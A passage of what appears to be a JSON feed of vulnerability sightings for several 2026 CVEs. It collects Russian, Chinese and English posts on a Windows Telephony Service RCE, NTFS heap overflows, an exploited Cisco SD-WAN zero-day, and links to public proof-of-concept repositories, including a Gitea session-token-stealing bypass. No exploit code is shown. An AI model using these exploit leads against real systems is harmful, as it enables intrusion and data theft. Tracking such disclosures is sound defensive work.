\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 TapiSrv \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0421\u0435\u0440\u0433\u0435\u0439 \u0411\u043b\u0438\u0437\u043d\u044e\u043a, \u043e\u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (8,0 \u043f\u043e CVSS 3.1). \u042d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u0440\u0435\u0434\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0432\u043e \u0432\u0441\u0435\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430\u0445 Windows, \u0441 \u0435\u0433\u043e \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0441 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 (\u0441\u0442\u0430\u0446\u0438\u043e\u043d\u0430\u0440\u043d\u044b\u043c\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430\u043c\u0438, \u043c\u043e\u0434\u0435\u043c\u0430\u043c\u0438, VoIP-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438).\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 PT-2026-27341 (CVE-2026-20931) \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b 35 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043a\u0430\u043a \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 Windows Server 2019/2022/2025, \u0442\u0430\u043a \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 (Windows Server 2008 \u0438 2012). \u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d \u0432 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0438 Microsoft. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udc68\u200d\ud83d\udcbb \u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0431\u044b \u0437\u0430\u0432\u043b\u0430\u0434\u0435\u0442\u044c \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043b\u044e\u0431\u043e\u0433\u043e \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438) \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f.\n\n\u0414\u043b\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e, \u0447\u0442\u043e\u0431\u044b \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0440\u0435\u0434\u043a\u043e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u043d\u0435\u043c\u0443. \u041d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0435 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445, \u0430 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u0440\u0430\u0437\u0432\u0438\u0442\u044c \u043d\u0430\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0438 IT-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b.\n\n\u2757\ufe0f\u0410\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 TapiSrv \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445\n\n\u2022 \u0415\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c, \u0435\u0441\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u2022 \u0414\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b \u0443\u0432\u0438\u0434\u0438\u0442\u0435 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442.\n\n#PTSWARM \n@Positive_Technologies", "creation_timestamp": "2026-07-27T00:01:23.814150Z"}, {"uuid": "e8b0dff5-d6a7-4a97-9fb6-ac17f1572f6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://t.me/zhatez/2367", "content": "\ud83d\udcde Microsoft fixed an authenticated RCE in Windows Telephony Service (CVE-2026-20931), discovered by researcher Sergey Bliznyuk.\n\nRead the write-up:\n\n\ud83d\udd17 https://swarm.ptsecurity.com/whos-on-the-line-exploiting-rce-in-windows-telephony-service/\n\ud83d\udd17 https://habr.com/ru/companies/pt/articles/984934/", "creation_timestamp": "2026-07-27T00:01:31.303804Z"}, {"uuid": "303030f9-2a82-48a5-b425-0049114bb819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98223", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896-Gitea-Authentication-Bypass\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a judgedbykira\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-15 19:05:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAn explanation and PoC to exploit CVE-2026-20896 Authentication Bypass Vulnerability on Gitea. Being able to steal session tokens for valid users in the Gitea instance.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-24T00:00:10.353529Z"}, {"uuid": "4f98b00e-f7ac-4d85-ba6b-37a9bfe767e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20672", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260728", "content": "", "creation_timestamp": "2026-07-28T04:45:51.088460Z"}, {"uuid": "28cd7949-82ec-4445-bf62-32fda95a174d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mromz3w4th2u", "content": "Daily IT Security Digest \u2014 2026-07-28\nprioritize applying these patches immediately. [Source: Bluesky @elixistechnology.bsky.social](https://elixistechnology.bsky.social)\n\n## 5. Cisco Catalyst SD-WAN Manager Zero-Day Exploited (CVE-2026-20262)\n\nA critical zero-day in Cisco Catalyst SD-WAN Manager", "creation_timestamp": "2026-07-28T05:02:16.907124Z"}, {"uuid": "2df625d3-0654-4a27-b8d9-f041ab798d30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mromz46qqe2h", "content": "Daily IT Security Digest \u2014 2026-07-28\n(CVE-2026-20262) is being actively exploited in the wild. Attackers with write access can escalate privileges to root through crafted HTTP requests. The vulnerability affects SD-WAN managers and patching is urgently recommended. [Source: Mastodon", "creation_timestamp": "2026-07-28T05:02:17.419659Z"}, {"uuid": "d11382ea-5f8a-4285-ae98-98d9c926f0f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17066", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE PoC repositories actively updated or recently surfaced on GitHub, selected to avoid duplicates and outdated entries.\n\n1\ufe0f\u20e3 CVE-2026-20841\n\ud83c\udfaf Windows Notepad \u2013 Potential RCE (PoC)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/BTtea/CVE-2026-20841-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept targeting Windows Notepad (< 11.2510) demonstrates a possible remote code execution scenario through crafted input handling.\n\n\u2699\ufe0f Impact\n\u2022 Potential RCE vector\n\u2022 Local exploitation scenario\n\u2022 Early-stage PoC (research-focused)\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-28292\n\ud83c\udfaf simple-git (Node.js) \u2013 Remote Code Execution\n\n\ud83e\udde0 Overview\nA critical vulnerability in the widely used simple-git library allows attackers to achieve remote code execution due to improper case-sensitive validation in security logic.\nA single missing regex flag allows bypass of previous security patches.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Patch bypass\n\u2022 Affects millions of installations\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-29000\n\ud83c\udfaf pac4j-jwt \u2013 Authentication Bypass (CVSS 10)\n\n\ud83e\udde0 Overview\nA critical flaw in pac4j-jwt allows attackers to forge authentication tokens using only a public key, enabling full account takeover.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Admin account takeover\n\u2022 CVSS 10.0 Critical\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21858\n\ud83c\udfaf n8n Workflow \u2013 Critical Vulnerability Detection / Exploit Path\n\n\ud83d\udd17 GitHub Topic\nhttps://github.com/topics/cve-2026-21858\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting n8n workflow automation platforms, with tools and PoC-related detection scripts available on GitHub.\n\n\u2699\ufe0f Impact\n\u2022 Workflow compromise\n\u2022 Automation abuse\n\u2022 CVSS 10.0\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-XXXX (Fresh Aggregated PoC Stream)\n\ud83c\udfaf Live GitHub PoC Feed (Auto-Collected CVEs)\n\n\ud83d\udd17 Repository\nhttps://github.com/nomi-sec/PoC-in-GitHub\n\n\ud83e\udde0 Overview\nThis repository continuously collects newly published CVE PoCs across GitHub, making it one of the most reliable sources for real-time vulnerability tracking.\n\n\u2699\ufe0f Impact\n\u2022 Continuous PoC discovery\n\u2022 Daily vulnerability tracking\n\u2022 Research automation source\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese entries are useful for:\n\u2022 Tracking real PoC release timing\n\u2022 Studying patch bypass techniques\n\u2022 Monitoring emerging exploit trends\n\u2022 Building automated CVE intelligence pipelines\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:07.510844Z"}, {"uuid": "d3d1b56a-4f8c-4d7d-9694-b4f9bfa41346", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20922", "type": "seen", "source": "https://t.me/Positive_Technologies/3988", "content": "\u2757\ufe0f\u0421\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Windows: \u043d\u0430\u0448 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043f\u043e\u043c\u043e\u0433 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u041e\u0421\n\n\u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 PT ESC \u0421\u0435\u0440\u0433\u0435\u0439 \u0422\u0430\u0440\u0430\u0441\u043e\u0432 (immortalp0ny) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0432\u0448\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 30 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0434\u043d\u0438 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432 \u043c\u0438\u0440\u0435 \u2014 Windows 11 \u0438 Windows Server.\n\n\u0414\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c \u2014 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u043c. Microsoft \u0431\u044b\u043b \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u2014 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445 \ud83d\udc47\n\n1\ufe0f\u20e3 \u0414\u0432\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u0430 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 ntfs.sys, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 NTFS\nPT-2026-2690, CVE-2026-20840 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 heap-based buffer overflow: \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0438\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0431\u0430\u0433\u0430\u0436 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u043d\u0435 \u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0441\u0435\u043a \u0441\u0430\u043c\u043e\u043b\u0435\u0442\u0430, \u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0436\u0435\u0441\u0442\u043a\u0438\u0445 \u0434\u0438\u0441\u043a\u043e\u0432 (VHD). \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u041e\u043d \u043c\u043e\u0433 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 VHD-\u0444\u0430\u0439\u043b, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0430\u0440\u0443\u0448\u0438\u0432 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0430 